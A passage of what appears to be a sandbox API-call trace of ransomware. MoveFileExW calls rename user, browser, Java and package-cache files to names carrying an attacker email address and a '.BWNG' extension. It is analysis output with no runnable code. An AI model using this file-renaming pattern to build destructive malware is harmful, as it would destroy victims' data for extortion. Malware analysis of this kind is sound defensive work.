QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27070320903) returned 1 [0128.751] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\[billwong73@yahoo.com].iTMA0NfT-i3upM6Qr.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\[billwong73@yahoo.com].itma0nft-i3upm6qr.bwng"), dwFlags=0x1) returned 1 [0128.753] GetTickCount () returned 0x1167bc5 [0128.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27070498103) returned 1 [0128.753] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\[billwong73@yahoo.com].pPxFFzi1-5aTlrunq.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\[billwong73@yahoo.com].ppxffzi1-5atlrunq.bwng"), dwFlags=0x1) returned 1 [0128.754] GetTickCount () returned 0x1167bc5 [0128.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27070671161) returned 1 [0128.755] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\[billwong73@yahoo.com].znDbSoB3-Ko9fqwVo.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\[billwong73@yahoo.com].zndbsob3-ko9fqwvo.bwng"), dwFlags=0x1) returned 1 [0128.756] GetTickCount () returned 0x1167bc5 [0128.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27070824393) returned 1 [0128.756] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\[billwong73@yahoo.com].PbfyiZju-dK3dG7cc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\[billwong73@yahoo.com].pbfyizju-dk3dg7cc.bwng"), dwFlags=0x1) returned 1 [0128.758] GetTickCount () returned 0x1167bc5 [0128.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27071000935) returned 1 [0128.758] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aMNpj_0-uywx.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\amnpj_0-uywx.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].vgccSAyQ-6fSHkrrY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].vgccsayq-6fshkrry.bwng"), dwFlags=0x1) returned 1 [0128.759] GetTickCount () returned 0x1167bc5 [0128.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27071127918) returned 1 [0128.759] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\4MpnIlcLtRgBa.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\4mpnilcltrgba.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].MSDrJDUs-9ziu1v82.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].msdrjdus-9ziu1v82.bwng"), dwFlags=0x1) returned 1 [0128.760] GetTickCount () returned 0x1167bc5 [0128.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27071259520) returned 1 [0128.761] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Yakutat" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\yakutat"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].kOsEtTMy-r9xbnJQh.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].kosettmy-r9xbnjqh.bwng"), dwFlags=0x1) returned 1 [0128.762] GetTickCount () returned 0x1167bc5 [0128.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27071408336) returned 1 [0128.762] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\NtFT5XD5OWjnkb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\ntft5xd5owjnkb.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].StrOUYGe-2uhjq3kw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].strouyge-2uhjq3kw.bwng"), dwFlags=0x1) returned 1 [0128.816] GetTickCount () returned 0x1167c04 [0128.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27076817620) returned 1 [0128.816] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].Es9JVyaM-QEKYjdkb.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].es9jvyam-qekyjdkb.bwng"), dwFlags=0x1) returned 1 [0128.818] GetTickCount () returned 0x1167c04 [0128.818] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27077005592) returned 1 [0128.818] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].IdMjtYwa-1a8xTs4i.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].idmjtywa-1a8xts4i.bwng"), dwFlags=0x1) returned 1 [0128.819] GetTickCount () returned 0x1167c04 [0128.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27077161881) returned 1 [0128.820] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tbilisi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\tbilisi"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].YvlFSmSi-neyxDZ78.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].yvlfsmsi-neyxdz78.bwng"), dwFlags=0x1) returned 1 [0128.822] GetTickCount () returned 0x1167c04 [0128.822] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27077378953) returned 1 [0128.822] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Qatar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\qatar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].XnjJ3Z0n-dMkbEMUd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].xnjj3z0n-dmkbemud.bwng"), dwFlags=0x1) returned 1 [0128.829] GetTickCount () returned 0x1167c13 [0128.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27078156812) returned 1 [0128.830] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dushanbe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\dushanbe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].Ojl1IUqc-LMCG76x9.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].ojl1iuqc-lmcg76x9.bwng"), dwFlags=0x1) returned 1 [0128.831] GetTickCount () returned 0x1167c13 [0128.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27078367064) returned 1 [0128.832] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\NZFX8.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\nzfx8.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].t6AKSXYe-L15wxrLz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].t6aksxye-l15wxrlz.bwng"), dwFlags=0x1) returned 1 [0128.833] GetTickCount () returned 0x1167c13 [0128.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27078496719) returned 1 [0128.833] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\[billwong73@yahoo.com].4cNR4OYx-U34wcIin.BWNG" (normalized: "c:\\users\\default\\favorites\\msn websites\\[billwong73@yahoo.com].4cnr4oyx-u34wciin.bwng"), dwFlags=0x1) returned 1 [0128.835] GetTickCount () returned 0x1167c13 [0128.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27078685175) returned 1 [0128.835] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\[billwong73@yahoo.com].WVl3hy7O-l2eda2Ub.BWNG" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\[billwong73@yahoo.com].wvl3hy7o-l2eda2ub.bwng"), dwFlags=0x1) returned 0 [0128.835] GetTickCount () returned 0x1167c13 [0128.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27078744336) returned 1 [0128.835] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].pwfUdMMO-QmXwjYh2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].pwfudmmo-qmxwjyh2.bwng"), dwFlags=0x1) returned 1 [0128.864] GetTickCount () returned 0x1167c32 [0128.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27081629854) returned 1 [0128.865] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\[billwong73@yahoo.com].ut2PAPpy-TPr15L1x.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\[billwong73@yahoo.com].ut2pappy-tpr15l1x.bwng"), dwFlags=0x1) returned 1 [0128.867] GetTickCount () returned 0x1167c32 [0128.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27081882261) returned 1 [0128.867] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].ZsfK66FK-ZI11U2Nw.BWNG" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].zsfk66fk-zi11u2nw.bwng"), dwFlags=0x1) returned 1 [0128.868] GetTickCount () returned 0x1167c32 [0128.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27082056225) returned 1 [0128.869] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\f17b2d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\[billwong73@yahoo.com].atXVzUb2-By9HmuOn.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\[billwong73@yahoo.com].atxvzub2-by9hmuon.bwng"), dwFlags=0x1) returned 1 [0128.871] GetTickCount () returned 0x1167c32 [0128.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27082276664) returned 1 [0128.871] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].obLPNrlO-OVHeL3DC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].oblpnrlo-ovhel3dc.bwng"), dwFlags=0x1) returned 1 [0128.872] GetTickCount () returned 0x1167c42 [0128.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27082453917) returned 1 [0128.873] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].MJy2zPAc-HTjGeGs7.BWNG" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].mjy2zpac-htjgegs7.bwng"), dwFlags=0x1) returned 1 [0128.874] GetTickCount () returned 0x1167c42 [0128.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27082631359) returned 1 [0128.874] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.mar"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\[billwong73@yahoo.com].TNBVGOAp-YyYzlnNV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\[billwong73@yahoo.com].tnbvgoap-yyyzlnnv.bwng"), dwFlags=0x1) returned 1 [0128.913] GetTickCount () returned 0x1167c61 [0128.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27086565200) returned 1 [0128.914] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\40e450f7ce13419a2ccc2a5445035a0a_06f02b1f13ab4b11b8fc669bde565af1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].ZeWIHJYI-3LmnchUy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].zewihjyi-3lmnchuy.bwng"), dwFlags=0x1) returned 1 [0128.916] GetTickCount () returned 0x1167c61 [0128.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27086808431) returned 1 [0128.916] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].KIj9Hj61-Ymo5KdrC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].kij9hj61-ymo5kdrc.bwng"), dwFlags=0x1) returned 1 [0128.918] GetTickCount () returned 0x1167c61 [0128.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27086981209) returned 1 [0128.918] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_c080da2ae431c1a7f3b0c147eeb043ed"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].9t3x8pFA-edx6pgaH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].9t3x8pfa-edx6pgah.bwng"), dwFlags=0x1) returned 1 [0128.919] GetTickCount () returned 0x1167c71 [0128.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27087155619) returned 1 [0128.920] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].e9wkzlvr-IMtFLyK4.BWNG" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].e9wkzlvr-imtflyk4.bwng"), dwFlags=0x1) returned 1 [0128.921] GetTickCount () returned 0x1167c71 [0128.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27087328330) returned 1 [0128.921] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9bc2ffc5d9591e1bd3545230e9b7cc36_cf30943571f9bee96c487b2d9f0436e6"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].eaNtXrv8-MjiwxD5N.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].eantxrv8-mjiwxd5n.bwng"), dwFlags=0x1) returned 1 [0128.923] GetTickCount () returned 0x1167c71 [0128.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27087490373) returned 1 [0128.923] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_6043fc604a395e1485af7ac16d16b7ce"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].QpAgbMLG-iJa5Jn7v.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].qpagbmlg-ija5jn7v.bwng"), dwFlags=0x1) returned 1 [0128.924] GetTickCount () returned 0x1167c71 [0128.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27087651935) returned 1 [0128.925] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\1bb09beec155258835c193a7aa85aa5b_a7b2b53af2a12e2cb0a41b96d21d7973"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].BMAipyk5-stutgj5J.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].bmaipyk5-stutgj5j.bwng"), dwFlags=0x1) returned 1 [0128.926] GetTickCount () returned 0x1167c71 [0128.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27087847185) returned 1 [0128.927] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].ZXkFo042-74PN67qn.BWNG" (normalized: "c:\\users\\5p5nrgjn0js 